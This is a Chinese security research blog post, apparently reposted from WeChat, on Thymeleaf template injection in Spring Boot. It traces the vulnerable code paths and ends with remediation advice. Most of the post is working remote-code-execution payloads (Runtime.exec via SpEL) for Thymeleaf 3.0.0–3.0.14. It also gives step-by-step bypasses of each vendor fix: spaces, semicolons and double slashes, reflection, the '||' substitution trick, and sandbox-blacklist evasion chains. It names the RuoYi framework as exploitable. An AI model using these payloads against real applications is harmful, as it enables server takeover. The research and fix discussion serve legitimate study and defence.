拍摄于:烟台大学小树林
Thymeleaf模板注入
最近在研究代码审计,顺便学到了Thymeleaf模板注入
本文主要分析Thymeleaf模板注入的利用和修复,以及各版本的修复方式和绕过方式
Html文件利用
这是目前最常见的利用方式
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<div th:text="${6*6}"></div>
</html>
${}
里面的内容其实是执行的SPEL表达式
后续版本Thymeleaf 添加了沙箱防护机制,限制了一些黑名单类
TemplateName利用
在Thymeleaf 3.0.0 至 3.0.11 版本存在该漏洞
@Controller
publicclassThymeleafDemoController{
@GetMapping("/path")
publicString path(String path){
return"user/"+ path +"/welcome";
}
}
利用poc
path=__${6*6}__::
path=__${T(Runtime).getRuntime().exec("open -a calculator.app")}__::
具体原理就是使用Thymeleaf进行渲染是调用的ThymeleafView.render()
函数
然后调用的renderFragment()
函数进行渲染
此时templateName是return回来的值
将templateName
赋值给viewTemplateName
然后对viewTemplateName
值进行判断,是否存在::
,不存在则赋值给templateName
否则进行下一步解析调用了parseExpression()
函数,最后跟到preprocess()
函数
preprocess()
函数会正则匹配__xxx__
中的内容,然后调用StandardExpressionParser
进行解析
最终导致SPEL表达式注入
UriPath利用
也是Thymeleaf 3.0.0 至 3.0.11 版本存在
@Controller
public class ThymeleafDemoController {
@RequestMapping("/ThymeleafUri/{path}")
public void ThymeleafUri(@PathVariable String path) {
}
}
就是springboot定义的控制器,如果是@controller注解,并且无return返回值,就会将Mapping的路由作为视图名称去解析
注意的是可控字符为字符串格式
利用poc
/ThymeleafUri/__$%7bT(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator.app%22)%7d__::aaaaaa.aaaa
注意这里编码、空格要用%20
3.0.12修复1
Thymeleaf3.0.12版本修复是添加了一个拦截方法containsSpELInstantiationOrStatic()
/org/thymeleaf/thymeleaf-spring5/3.0.12.RELEASE/thymeleaf-spring5-3.0.12.RELEASE.jar!/org/thymeleaf/spring5/util/SpringStandardExpressionUtils.class
大致检测思路是倒序检测是否包含 wen
关键字,以及在(
的左边的字符是否是T
也就是限制了new xxx
和T()
的类调用
绕过方式
threedr3am师傅使用空格或空字符绕过,只要T
和()
不连续即可
https://github.com/thymeleaf/thymeleaf-spring/issues/256
path=__${T%20(Runtime).getRuntime().exec("open -a calculator.app")}__::
/ThymeleafUri/__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator.app%22)%7d__::assadasd.asdas
3.0.12修复2
Thymeleaf3.0.12版本修复同时添加了一个检测函数checkViewNameNotInRequest()
/org/thymeleaf/thymeleaf-spring5/3.0.12.RELEASE/thymeleaf-spring5-3.0.12.RELEASE.jar!/org/thymeleaf/spring5/util/SpringRequestUtils.class
检测原理就是判断return返回的值和request的路径进行比较,查看URL是否包含vn值
存在就报错,阻止后续的解析
这种是针对UriPath
利用方式的拦截
/ThymeleafUri/__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator.app%22)%7d__::assadasd.asdas
像TemplateName利用是无效的
path=__${T (Runtime).getRuntime().exec("open -a calculator.app")}__::
绕过方式
threedr3am师傅方法,使用;
或//
进行绕过
/ThymeleafUri;/__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator.app%22)%7d__::assadasd.asdas
如果发现路径中存在分号,那么会调用removeSemicolonContent
方法来移除分号,从而导致URL和vn值不一致
/ThymeleafUri//__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator.app%22)%7d__::assadasd.asdas
/ThymeleafUri/;/__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator.app%22)%7d__::assadasd.asdas
3.0.14修复1
Thymeleaf3.0.14版本的修复,对containsSpELInstantiationOrStatic()
函数检测进行了完善
对T
和()
中间空字符进行绕过修复
所以使用T%20()
的方式调用类绕不过去了
绕过姿势
使用SPEL的反射调用即可
path=__${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a calculator.app')}__::
3.0.14修复2
Thymeleaf3.0.14版本对checkViewNameNotInRequest()
检测函数也进行了完善
可以看到添加了一个containsExpression()
判断函数,用来匹配$*#@~
的下一个字符是不是{
,是的话判断为表达式
然后对UriPath
利用方式改变了判断方式,也进行containsExpression{}
判断
并且也对templatename
利用进行了containsExpression{}
判断
意思就是不管哪种方式,只要有${
字符,就判断为表达式,就阻止后续运行。
绕过姿势
绕过思路无非就是不使用${}
或在${
之间加点字符造成绕过
跟了很久的后续链路,发现Thymeleaf3.0.15.RELEASE版本之前LiteralSubstitutionUtil()
函数会置空||
字符
/org/thymeleaf/thymeleaf/3.0.14.RELEASE/thymeleaf-3.0.14.RELEASE.jar!/org/thymeleaf/standard/expression/LiteralSubstitutionUtil.class
performLiteralSubstitution()
函数会将表达式转换一下内容
大体意思就是遇到|xx|
会转换成'xx'
或'+'
字符串拼接方式
但是||
中间如果没有字符,则会置空||
,也就是说$||{}
会被转换为${}
,从而导致绕过containsExpression()
检测
然后使用||
和反射配合即可绕过
path=__$||{''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a calculator.app')}__::
/ThymeleafUri/__$||{''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open%20-a%20calculator.app')}__::assadasd.asdas
3.0.15修复
Thymeleaf3.0.15.RELEASE版本开始修复了LiteralSubstitutionUtil()
函数,添加||
了
从Thymeleaf3.0.15版本开始到现在最新3.1.2.RELEASE版本,就是针对Html文件利用不停的添加黑名单了
当然,研究了一阵发现也是可以绕过的,由于涉及Thymeleaf最新版本这里就不公布细节了
下面可以看到,最新版本ruoyi使用的Thymeleaf3.0.15,完全可以打的
其他高版本绕过
后续版本更新就是针对各种沙箱黑名单的绕过了
1、SpelExpressionParser类
只要找不在黑名单里面类即可
比如SPEL表达式反射调用SpelExpressionParser,再解析一次SPEL表达式,套娃即可
${'a'.getClass().forName('org.springframework.expression.spel.standard.SpelExpressionParser').newInstance().parseExpression("'a'.getClass().forName('java.lang.Runtime').getRuntime().exec('open -a calculator.app')").getValue()}
2、OptionHelper类
比如Squirt1e老哥的链,使用的ch.qos.logback.core.util.OptionHelper
原版POC
[[${T(ch.qos.logback.core.util.OptionHelper).instantiateByClassName("org.springframework.expression.spel.standard.SpelExpressionParser","".getClass().getSuperclass(),T(ch.qos.logback.core.util.OptionHelper).getClassLoader()).parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('whoami')").getValue()}]]
整体修复
1、配置@ResponseBody
或@RestController
注解
2、return使用redirect:
开头
根据springboot定义,如果名称以redirect:
开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值
参考文章
https://xz.aliyun.com/t/10514
https://xz.aliyun.com/t/14759
https://www.cnpanda.net/sec/1063.html
https://threedr3am.github.io/2021/04/26/3.0.12%20Thymeleaf%20RCE%20Bypass%EF%BC%88%E8%8B%A5%E4%BE%9Druoyi%E6%9C%80%E6%96%B0%E7%89%88%E6%9C%AC%E5%90%8E%E5%8F%B0RCE%EF%BC%89/
原文始发于微信公众号(XG小刚):Thymeleaf模板注入还能打吗?
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论